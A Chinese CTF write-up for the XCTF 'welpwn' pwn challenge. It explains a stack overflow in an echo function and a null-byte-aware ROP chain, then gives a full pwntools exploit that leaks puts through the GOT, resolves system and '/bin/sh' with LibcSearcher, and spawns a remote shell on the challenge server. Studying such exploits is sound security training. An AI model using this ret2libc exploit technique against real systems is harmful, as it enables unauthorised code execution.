攻防世界 - pwn - welpwn

echo函数中有明显的栈溢出:

void echo(char *buf)

{
  int iVar1;
  char local_18 [16];
  
  for (i = 0; buf[i] != '\0'; i += 1) {
    local_18[i] = buf[i];
  }
  local_18[i] = '\0';
  iVar1 = strcmp("ROIS",local_18);
  if (iVar1 == 0) {
    printf("RCTF{Welcome}");
    puts(" is not flag");
  }
  printf("%s",local_18);
  return;
}

本地的buf复制时未做边界检查,但这里和通常的栈溢出算偏移量再做ROP有差异,也是这道题最巧妙的地方,进入echo函数时的所有输入已经留在上一个函数栈帧中了,然而buf的复制给了覆盖返回地址的手段,先放出做ROP时栈的分布,然后解释原因:



在echo函数中的原本的输入是从返回地址之后的位置开始的,填充一些后可以覆盖返回地址,buf复制中止的条件是读到'\0'字节,用ropper或ROPgadget找到的gadget地址高位字节均为'\0':



复制的字节将在遇到第一个gadget时停止,此时gadget低位地址仍会被复制,于是写真正的ROP链需要将这些用于填充的无用字节从栈中剔除出去,很自然的联想到用多个pop来处理,用于pop多余字节的gadget也需要从栈中剔除,所以有了第一张图中的ROP链设计。

剩下的就是ret2libc环节了,看了别人的WP最后也用了Libcsearcher这一工具,可以在libc信息未知的情况下根据got表中库函数的地址推测libc的版本并给出函数或字符串在libc中的偏移量,写exp:

from pwn import *
from LibcSearcher import *

context(log_level="debug", arch="amd64", os="linux")
# r = process("./welpwn")
r = remote("111.200.241.244", 62161)
elf = ELF("./welpwn")
pop_4 = 0x40089c
pop_rdi = 0x4008a3

junk = cyclic(24) + p64(pop_4)
rop = ROP(elf)
rop.call("puts", [elf.got["puts"]])
rop.call("main")
payload1 = junk + rop.chain()
r.recvuntil("Welcome to RCTF\n")
r.send(payload1)
r.recvuntil("Welcome to RCTF\n")
puts = u64(r.recv()[-7:-1] + b"\x00\x00")
log.debug("puts:" + hex(puts))

libc = LibcSearcher("puts", puts)
libc_base = puts - libc.dump("puts")
system = libc.dump("system") + libc_base
bin_sh = libc.dump("str_bin_sh") + libc_base

payload2 = junk + p64(pop_rdi) + p64(bin_sh) + p64(system)
r.sendline(payload2)
r.interactive()

# 0x000000000040089c: pop r12; pop r13; pop r14; pop r15; ret;
# 0x00000000004008a3: pop rdi; ret;

比较奇怪的是IO,main中的"Welcome to RCTF\n"会先于ROP链中的puts(elf.got['puts'])打印出来,这大概率和write和printf的缓冲区输出相关,但我在本地调试时打印顺序是符合ROP链的,而且本地的libc没有与Libcsearcher云上存的Libc库匹配,这可能是因为本地的libc版本过新的原因,以后还是尽量调试pwninit后的elf文件。

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 歇了很长一段时间,终于开始了我的攻防世界pwn之路。立一个flag:每日一题,只能多不能少。 0x00 dice_...
    Adam_0阅读 7,170评论 2 7
  • 先使用checksec查看文件属性 RELRO会有Partial RELRO和FULL RELRO,如果开启FUL...
    呼噜84阅读 1,058评论 0 2
  • 07.19 CTF特训营---REVERSE阅读P208——P 1、X86指令体系 寄存器组 汇编指令集:Inte...
    gufsicsxzf阅读 1,718评论 0 0
  • 新手练习 CGfsb 简单的格式化字符串 get_shell nc 上去直接 cat flag hello_pwn...
    Nevv阅读 3,273评论 0 6
  • 一、bugkuctf pwn4(栈,ROP,system($0)) 图1很容易看出来read函数栈溢出 紧接着就是...
    ywledoc阅读 1,673评论 0 1